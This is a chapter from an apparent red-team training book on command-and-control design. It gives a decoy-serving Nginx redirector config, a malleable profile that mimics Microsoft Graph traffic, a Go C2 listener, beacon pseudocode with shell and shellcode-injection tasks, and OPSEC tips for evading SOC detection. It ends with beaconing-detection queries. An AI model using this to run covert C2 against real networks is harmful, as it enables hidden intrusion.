Chapter 113

C2 Infrastructure Design

Architecture of command-and-control systems: listener types, redirector chains, malleable C2 profiles, callback protocols, and the full infrastructure design that separates a pen test tool from a burned implant

Scenario

You have initial access through a phishing payload. The beacon calls back to your server — but your server IP is already in Shodan, has open ports 80 and 443, and a CDN scan linked it to three other known pentest IPs last week. Within 4 hours, the SOC's threat intel feed fires and your IP gets blocked at the proxy. The implant goes dark. This chapter is about building the infrastructure that prevents that kill chain from working: domain fronting, redirectors with allow-list rules, short-lived categorized domains, and malleable C2 profiles that disguise your traffic as normal SaaS beaconing.

C2 Core Concepts

C2 System Components: Team Server ──── C2 Operator (us) | | (back-channel: private, VPN or SSH tunnel) | Redirector 1 ←──── Implant callbacks (HTTP/HTTPS/DNS/SMB) Redirector 2 Redirector N C2 Terminology: Listener : Server-side component waiting for implant callbacks (bind or reverse) Implant : Malware running on target machine (beacon, agent, stager) Callback : Implant connecting back to C2 to get tasks + send results Tasking : Commands/modules the operator sends to the implant Beacon : A common implant pattern — sleeps, wakes, calls out, sleeps again Sleep / Jitter: Time between callbacks + random variance (e.g. 60s ± 30%) Malleable Profile: Rules that control what HTTP/DNS traffic looks like Pivot : Using a compromised host as a relay point deeper into network Post-Ex : Activities after initial access (creds, lateral move, exfil) Callback flow: Implant wakes → HTTP GET to redirector → redirector proxies to team server Team server responds with encrypted tasks → implant decrypts + executes Results encrypted → POST to redirector → proxied to team server

Infrastructure Design Principles

Every component in C2 infrastructure should be isolated so that if one element is burned (blocked, sinkholed, seized), the rest remains operational. The key separation:

  1. Team server: Never expose directly to the internet. Behind VPS with strict allow-list ingress from redirector IPs only. If this IP gets blocked nothing matters — it's hidden.
  2. Redirectors: All implant-facing infrastructure. Sacrificial. When burned, swap in new ones without changing implant callback URLs (use domain names, not IPs).
  3. Domains: Registered under privacy-protecting registrars, aged, categorized. Buy aged domains that have been cached by proxy services as benign categories (news, finance, tech).
  4. CDN/Cloud fronting: Route traffic through major CDN providers (Cloudflare, AWS CloudFront, Azure Front Door) so the IP the target sees is Microsoft or Google, not yours.
Multi-tier infrastructure (red team grade): Target Implant │ │ HTTPS to CDN (e.g., Cloudflare IP — looks like SaaS traffic) ▼ [Cloudflare CDN] │ │ Proxied to: redirector.vps.provider.com ▼ [Redirector VPS — Nginx reverse proxy] │ │ Source IP allow-list — only proxied to team server if: │ - URI matches expected path │ - User-agent matches profile │ - Target IP in monitored subnet │ Otherwise: proxy to legitimate site (decoy) ▼ [Team Server — Cobalt Strike / Havoc / Sliver / Brute Ratel] │ ▼ [Operator workstation — SSH tunnel or VPN]

Redirectors — Nginx Configuration

# Redirector nginx.conf — proxy legitimate C2 traffic, serve decoy for everything else

upstream teamserver {
    server 10.0.0.5:443;
}

server {
    listen 443 ssl;
    server_name cdn-update.corp-tools.com;

    ssl_certificate /etc/nginx/ssl/cert.pem;
    ssl_certificate_key /etc/nginx/ssl/key.pem;
    ssl_protocols TLSv1.2 TLSv1.3;

    # Allow-list: only proxy known C2 URI paths
    location /updates/v2/sync {
        # User-agent check (match your malleable profile)
        if ($http_user_agent !~ "Mozilla/5.0 \(Windows NT 10.0; Win64; x64\) AppleWebKit/537.36") {
            return 302 https://www.microsoft.com;
        }
        proxy_pass https://teamserver;
        proxy_ssl_verify off;
        proxy_set_header Host $host;
        proxy_set_header X-Forwarded-For $remote_addr;
    }

    location /updates/v2/push {
        if ($http_user_agent !~ "Mozilla/5.0 \(Windows NT 10.0; Win64; x64\) AppleWebKit/537.36") {
            return 302 https://www.microsoft.com;
        }
        proxy_pass https://teamserver;
        proxy_ssl_verify off;
        proxy_set_header Host $host;
    }

    # Everything else — serve decoy (legit-looking static page)
    location / {
        return 200 '{"status":"ok","version":"2.1.0"}';
        add_header Content-Type application/json;
    }
}

# Additional security: rate-limit and geo-block non-target countries
# to reduce scanner noise finding your redirector
limit_req_zone $binary_remote_addr zone=c2:10m rate=30r/m;

server {
    # Block non-target geographies entirely if operation is specific region
    # Requires nginx geoip2 module + MaxMind GeoLite2 database
    # geoip2 /etc/nginx/GeoLite2-Country.mmdb { $geoip2_data_country_code ... }
    # if ($geoip2_data_country_code != "US") { return 403; }
}

Malleable C2 Profiles

A malleable profile is a configuration file (used by Cobalt Strike, Sliver, Havoc) that controls exactly how C2 traffic looks on the wire — the HTTP headers, URIs, user agents, response codes, and body encoding. The goal: make the traffic indistinguishable from normal browser or application traffic to proxy/DLP/NDR tools.

# Sliver HTTP profile example — disguise as Microsoft Graph API calls
# Format varies by C2 framework; this illustrates the concepts

set sleeptime "60000";        # 60 second sleep
set jitter    "30";           # ±30% jitter (42-78 seconds actual)
set maxdns    "255";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36";

http-get {
    set uri "/v1.0/me/messages?$select=subject,receivedDateTime&$top=25";
    client {
        header "Accept" "application/json";
        header "Authorization" "Bearer ";
        header "Host" "graph.microsoft.com";  # domain fronting target
        metadata {
            base64url;
            prepend "MSAL_sessionId=";
            header "Cookie";
        }
    }
    server {
        header "Content-Type" "application/json";
        header "Cache-Control" "private";
        output {
            print;   # serve raw bytes as "JSON" body
        }
    }
}

http-post {
    set uri "/v1.0/me/sendMail";
    client {
        header "Content-Type" "application/json";
        header "Authorization" "Bearer ";
        output {
            base64url;
            prepend '{"message":{"subject":"Update","body":{"content":"';
            append  '"}}}';
        }
    }
}

# Key design principles:
# 1. Use URIs that match the service's real API patterns
# 2. Include expected headers (Authorization, Cache-Control)
# 3. Encode data in places data normally appears (cookies, body, specific headers)
# 4. Match response codes and content-types of the impersonated service
# 5. Choose a service that target org actually uses (DLP proxy whitelists it)

Protocol Selection by Environment

ProtocolWorks WhenProsCons / Detection Risk
HTTPSOutbound 443 allowedEncrypted, ubiquitous, CDN fronting possibleTLS cert inspection (enterprise proxy with MITM cert), beacon timing anomalies
HTTP/S over CDNProxy whitelist includes CDN providerDestination IP is CDN (Microsoft/Google), proxy can't block without breaking SaaSDomain fronting increasingly blocked by CDN providers; SNI-based blocking
DNSDNS outbound allowed (most environments)Hard to block completely, deeply buried in logsSlow (~1KB/min), high query volume detectable, many DNS security products
DNS over HTTPS (DoH)Outbound 443 to DoH resolver (1.1.1.1, 8.8.8.8)DNS queries encrypted, bypasses DNS monitoringDoH providers may block malicious domains, unusual resolver destination
SMB (internal C2)Lateral movement phase, post-accessNamed pipes are expected traffic on Windows networksNew pipe names, cross-subnet SMB sessions, 4656 pipe access events
ICMPRestricted environments (uncommon)Often missed by stateless firewallsLow bandwidth, ICMP inspection increasingly common, unusual payload sizes

Listener Implementation — Custom HTTP C2

// Minimal HTTP C2 listener in Go — illustrates concepts
package main

import (
    "crypto/aes"
    "crypto/cipher"
    "crypto/rand"
    "encoding/base64"
    "net/http"
    "sync"
    "time"
)

type Agent struct {
    ID        string
    LastSeen  time.Time
    Key       []byte           // per-agent AES-256 key
    Tasks     []string
    mu        sync.Mutex
}

var (
    agents   = make(map[string]*Agent)
    agentsMu sync.RWMutex
)

func CheckinHandler(w http.ResponseWriter, r *http.Request) {
    // Extract agent ID from cookie (matches malleable profile)
    cookie, err := r.Cookie("MSAL_sessionId")
    if err != nil {
        http.NotFound(w, r)
        return
    }

    agentID, err := base64.URLEncoding.DecodeString(cookie.Value)
    if err != nil {
        http.NotFound(w, r)
        return
    }

    agentsMu.RLock()
    agent, ok := agents[string(agentID)]
    agentsMu.RUnlock()

    if !ok {
        // New agent — register
        agent = &Agent{
            ID:  string(agentID),
            Key: generateKey(),  // random per-agent key, exchanged during staging
        }
        agentsMu.Lock()
        agents[agent.ID] = agent
        agentsMu.Unlock()
    }

    agent.mu.Lock()
    agent.LastSeen = time.Now()

    // Get pending task, if any
    var task string
    if len(agent.Tasks) > 0 {
        task = agent.Tasks[0]
        agent.Tasks = agent.Tasks[1:]
    }
    agent.mu.Unlock()

    // Encrypt task and return as JSON body
    w.Header().Set("Content-Type", "application/json")
    w.Header().Set("Cache-Control", "private")

    if task == "" {
        w.Write([]byte(`{"@odata.context":"https://graph.microsoft.com/v1.0/$metadata#users/$entity"}`))
        return
    }

    encrypted := aesEncrypt(agent.Key, []byte(task))
    w.Write(encrypted)
}

func ResultHandler(w http.ResponseWriter, r *http.Request) {
    cookie, err := r.Cookie("MSAL_sessionId")
    if err != nil { http.NotFound(w, r); return }

    agentID, err := base64.URLEncoding.DecodeString(cookie.Value)
    if err != nil { http.NotFound(w, r); return }

    agentsMu.RLock()
    agent, ok := agents[string(agentID)]
    agentsMu.RUnlock()
    if !ok { http.NotFound(w, r); return }

    // Read encrypted result from POST body
    body := readBody(r)
    result := aesDecrypt(agent.Key, body)

    // Store/print result for operator (real impl: write to task result store)
    _ = result
    w.WriteHeader(http.StatusAccepted)
}

func main() {
    mux := http.NewServeMux()
    mux.HandleFunc("/v1.0/me/messages", CheckinHandler)
    mux.HandleFunc("/v1.0/me/sendMail", ResultHandler)
    http.ListenAndServeTLS(":443", "cert.pem", "key.pem", mux)
}

func aesEncrypt(key, plaintext []byte) []byte {
    block, _ := aes.NewCipher(key)
    gcm, _ := cipher.NewGCM(block)
    nonce := make([]byte, gcm.NonceSize())
    rand.Read(nonce)
    return gcm.Seal(nonce, nonce, plaintext, nil)
}

Beacon Design — Client-Side Callback Loop

// Beacon callback logic (conceptual C pseudocode — full impl in later chapters)
void BeaconLoop() {
    while (1) {
        // Step 1: Jittered sleep
        DWORD sleepMs = BEACON_SLEEP + (rand() % (BEACON_SLEEP * JITTER_PCT / 100));
        Sleep(sleepMs);

        // Step 2: Check-in — GET to C2 URI, retrieve encrypted task blob
        BYTE taskBlob[MAX_TASK] = {0};
        DWORD taskLen = 0;
        if (!HttpCheckin(taskBlob, &taskLen)) {
            // Failed — increase backoff, try next callback domain
            sleepMs *= 2;
            continue;
        }

        if (taskLen == 0) continue;  // no task, sleep again

        // Step 3: Decrypt task with per-session AES key
        BYTE task[MAX_TASK] = {0};
        AesGcmDecrypt(g_sessionKey, taskBlob, taskLen, task);

        // Step 4: Dispatch to handler
        BYTE result[MAX_RESULT] = {0};
        DWORD resultLen = 0;
        DispatchTask(task, result, &resultLen);

        // Step 5: POST result back to C2
        HttpPostResult(result, resultLen);
    }
}

// Task dispatcher — maps command IDs to handlers
void DispatchTask(BYTE* task, BYTE* result, DWORD* resultLen) {
    DWORD cmdId = *(DWORD*)task;
    BYTE* args  = task + 4;

    switch(cmdId) {
        case CMD_SHELL:    ExecShell(args, result, resultLen);    break;
        case CMD_UPLOAD:   WriteFileToDisk(args, result, resultLen); break;
        case CMD_DOWNLOAD: ReadFileFromDisk(args, result, resultLen); break;
        case CMD_INJECT:   InjectShellcode(args, result, resultLen); break;
        case CMD_DIE:      ExitProcess(0); break;
        default:          *resultLen = 0; break;
    }
}

OPSEC — Infrastructure Hardening

RiskMitigation
Team server IP exposed via Shodan/ZoomEye scanBlock all inbound traffic except from redirector IPs; serve nothing from port 80/443 directly to internet
Domain aged only 3 days; categorized as "New/Unknown" by proxyBuy aged domains (≥ 12 months old) already categorized as benign. Services: ExpiredDomains.net, Whois search on expired domains
Beacon timing regularity detected by NDR (beaconing detection)Use significant jitter (≥ 30%). Vary sleep based on time of day (no callbacks between midnight-6am if mimicking normal user). Long sleep (8h+) during weekends.
HTTPS certificate lacks SNI matching for decoy pageGet real Let's Encrypt cert for domain. Serve decoy HTML that matches the domain's cover story. TLS fingerprint (JA3) should match expected browser.
HTTP headers betray C2 (missing expected headers, unusual values)Profile should include Accept, Accept-Encoding, Accept-Language, Connection headers matching a real browser
Kill date missing — implant runs indefinitely, found long after opHard-code a kill date (delete self + exit after engagement window)

Detection Engineering

-- Splunk: Beaconing detection via regular callback intervals
-- NDR (network) or proxy logs
index=proxy_logs
| eval hour=strftime(_time, "%H")
| where hour >= 7 AND hour <= 19  -- business hours
| stats count, stdev(bytes_out) as jitter, avg(bytes_out) as avg_size
        by src_ip, dest_host, interval_bucket
| eval regularity_score = if(jitter < 100 AND count > 20, 1, 0)
| where regularity_score = 1
| sort -count

-- Key detection signals for C2 traffic:
-- 1. Regular intervals to single destination (low jitter in connection timing)
-- 2. Similar-sized requests (beacon payloads are consistent)
-- 3. Destination is newly registered / uncategorized domain
-- 4. HTTPS to non-standard CDN (IP not in CDN ASN)
-- 5. JA3 fingerprint doesn't match claimed User-Agent browser version
-- 6. DNS query for C2 domain shortly before HTTPS callback (staging pattern)
-- 7. Long-lived connections with periodic data transfer (interactive shell pattern)

-- Zeek/Bro: JA3 TLS fingerprint anomaly detection
# ja3_seen: map fingerprint to claimed UserAgent, alert on mismatch
event ssl_client_hello(c: connection, version: count, record_version: count,
                       possible_ts: time, client_random: string,
                       session_id: string, ciphers: index_vec, comp_methods: index_vec) {
    # ja3 = md5(SSLVersion + Ciphers + Extensions + EllipticCurves + EllipticCurvePointFormats)
    # Compare against known-good browser fingerprint database
    # Alert if: JA3 hash not in whitelist AND destination is new domain
}

Q&A

Why is jitter in beacon sleep timing so important for evading detection?

Network detection and response (NDR) tools look for "beaconing" — regular, periodic network connections to the same destination. A beacon sleeping exactly 60 seconds between callbacks will generate connection timestamps like 10:00:00, 10:01:00, 10:02:00, etc. Statistical analysis of connection timing will reveal a very low standard deviation and alert immediately. Adding 30% jitter means the sleep is randomly 42-78 seconds, producing timestamps like 10:00:00, 10:00:53, 10:01:42. This produces a standard deviation that overlaps with normal browser keep-alive traffic and periodic SaaS polling. Jitter should be at least 20-30% of the base sleep time. Additionally, varying sleep based on hour of day (longer during business hours when network traffic is high, no callbacks at night when baseline is low) further reduces detection. Some mature red teams add non-uniform distributions (not pure uniform random, but Gaussian centered on the sleep time) to better mimic real application polling patterns.

What is domain fronting and why do major cloud providers block it?

Domain fronting exploits how CDN providers route requests. When a browser connects to a CDN, it makes a TLS connection to the CDN's IP, and the SNI field in the TLS ClientHello specifies which CDN-hosted domain it's connecting to. But inside the encrypted TLS tunnel, the HTTP Host header can specify a different domain — one that points to the same CDN but routes to a different backend. Attackers registered benign domains on major CDNs (Microsoft Azure, AWS CloudFront, Google App Engine), and used the CDN's front-facing address for their implants. The implant's TLS SNI said "microsoft.com" but the HTTP Host said "c2.attacker.com" — network monitoring only saw "HTTPS to microsoft.com IP" and couldn't inspect the encrypted Host header. CDN providers like Google (2018) and AWS (2019) blocked this by validating that the SNI and HTTP Host match, or by enforcing consistent routing. Cloudflare still allows some forms, but it's increasingly detected. Modern alternatives include legitimate cloud function C2 (using real cloud provider accounts to host C2 listeners — the traffic is legitimately going to AWS Lambda, Azure Functions, etc.) and compromised legitimate sites as unwitting redirectors.